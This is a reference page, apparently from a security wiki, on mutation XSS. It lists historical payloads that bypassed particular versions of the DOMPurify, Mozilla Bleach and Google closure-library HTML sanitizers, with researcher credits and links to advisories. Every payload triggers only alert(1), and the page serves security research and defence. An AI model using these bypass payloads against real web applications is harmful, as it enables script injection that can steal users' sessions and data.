# XSS

## mXSS

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## / Payload examples

This page contains some examples of payloads used to bypass sanitizers in the past. There are many other examples but to avoid redundancy we will add only ones that include new vectors or techniques.

### DomPurify

| Version | Payload                                                                                                                                                                                                                                                                          | Credit                                                                                                                                                | Additional links                                                                                                                         |
| ------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------- |
| 2.0.0   | `<svg></p><style><a id="</style><img src=1 onerror=alert(1)>">`                                                                                                                                                                                                                  | Michał Bentkowski [@SecurityMB](https://twitter.com/SecurityMB)                                                                                       | <https://research.securitum.com/dompurify-bypass-using-mxss/>                                                                            |
| 2.0.17  | `<form><math><mtext></form><form><mglyph><style></math><img src onerror=alert(1)>`                                                                                                                                                                                               | Michał Bentkowski [@SecurityMB](https://twitter.com/SecurityMB)                                                                                       | <https://research.securitum.com/mutation-xss-via-mathml-mutation-dompurify-2-0-17-bypass/>                                               |
| 2.0.17  | `<math><mtext><table><mglyph><style><!--</style><img title="--&gt;&lt;/mglyph&gt;&lt;img&Tab;src=1&Tab;onerror=alert(1)&gt;">`                                                                                                                                                   | Gareth Heyes [@garethheyes](https://twitter.com/garethheyes)                                                                                          | <https://portswigger.net/research/bypassing-dompurify-again-with-mutation-xss>                                                           |
| 2.0.17  | `<math><mtext><table><mglyph><style><math><table id=”</table>”><img src onerror=alert(1)”>`                                                                                                                                                                                      | [@sqrtrev](https://twitter.com/sqrtrev) [@0xParrot](https://twitter.com/sqrtrev) @web\_payload team [@GuesserSuper](https://twitter.com/GuesserSuper) | <https://twitter.com/0xsapra/status/1307929537749999616?ref_src=twsrc%5Etfw>                                                             |
| 2.2.0   | `<form><math><mtext></form><form><mglyph><svg><mtext><style><path id="</style><img onerror=alert(1) src>">`                                                                                                                                                                      | Daniel Santos [@bananabr](https://twitter.com/bananabr)                                                                                               | <https://vovohelo.medium.com/from-svg-and-back-yet-another-mutation-xss-via-namespace-confusion-for-dompurify-2-2-2-bypass-5d9ae8b1878f> |
| 2.2.3   | `<svg><xss><desc><noscript>&lt;/noscript>&lt;/desc>&lt;p>&lt;/p>&lt;style>&lt;a title="&lt;/style>&lt;img src onerror=alert(1)>">`                                                                                                                                               | Michał Bentkowski [@SecurityMB](https://twitter.com/SecurityMB)                                                                                       | <https://twitter.com/SecurityMB/status/1341290687963262978>                                                                              |
| 3.0.8   | `<svg><annotation-xml><foreignobject><style><!--</style><p id="--><img src='x' onerror='alert(1)'>">`                                                                                                                                                                            | Kévin - Mizu [@kevin\_mizu](https://twitter.com/kevin_mizu)                                                                                           | <https://mizu.re/post/playing-with-dompurify-ce-handling>                                                                                |
| 3.1.0   | ``n = 506; var payload = `${"<div>".repeat(n)}<table id="outer"><caption id="outer"><svg><desc><table id="inner"><caption id="inner"></caption></table></desc><style><a title="</style><img src onerror=alert(1)>"></a></style></svg></caption></table>${"</div>".repeat(n)}`;`` | [icesfont](https://github.com/icesfont)                                                                                                               | N/A                                                                                                                                      |
| 3.1.7   | `<svg><a><foreignobject><a><table><a></table><style><!--</style></svg><a id="-><img src onerror=alert(1)>">.`                                                                                                                                                                    | Masato Kinugawa [@kinugawamasato](https://twitter.com/kinugawamasato)                                                                                 | <https://x.com/kinugawamasato/status/1843687909431582830>                                                                                |

### Mozilla Bleach

| Version | Payload                                                                        | Credit                                            | Additional links                                                            |
| ------- | ------------------------------------------------------------------------------ | ------------------------------------------------- | --------------------------------------------------------------------------- |
| 3.1.0   | `<noscript><style></noscript><img src=x onerror=alert(1)>`                     | Yaniv Nizry [@YNizry](https://twitter.com/YNizry) | <https://checkmarx.com/blog/vulnerabilities-discovered-in-mozilla-bleach/>  |
| 3.1.1   | `<svg><style><img src=x onerror=alert(1)>`                                     | Yaniv Nizry [@YNizry](https://twitter.com/YNizry) | <https://checkmarx.com/blog/vulnerabilities-discovered-in-mozilla-bleach/>  |
| 3.2.3   | `<math><p></p><style><!--</style><img src/onerror=alert(1)>--></style></math>` | Yaniv Nizry [@YNizry](https://twitter.com/YNizry) | <https://github.com/mozilla/bleach/security/advisories/GHSA-vv2x-vrpj-qqpq> |

### Google closure-library

| Version   | Payload                                                         | Credit                                                                | Additional links                                                                                                                          |
| --------- | --------------------------------------------------------------- | --------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |
| v20190215 | `<noscript><p title="</noscript><img src=x onerror=alert(1)>">` | Masato Kinugawa [@kinugawamasato](https://twitter.com/kinugawamasato) | <https://github.com/google/closure-library/commit/c79ab48e8e962fee57e68739c00e16b9934c0ffa> <https://www.youtube.com/watch?v=lG7U3fuNw3A> |


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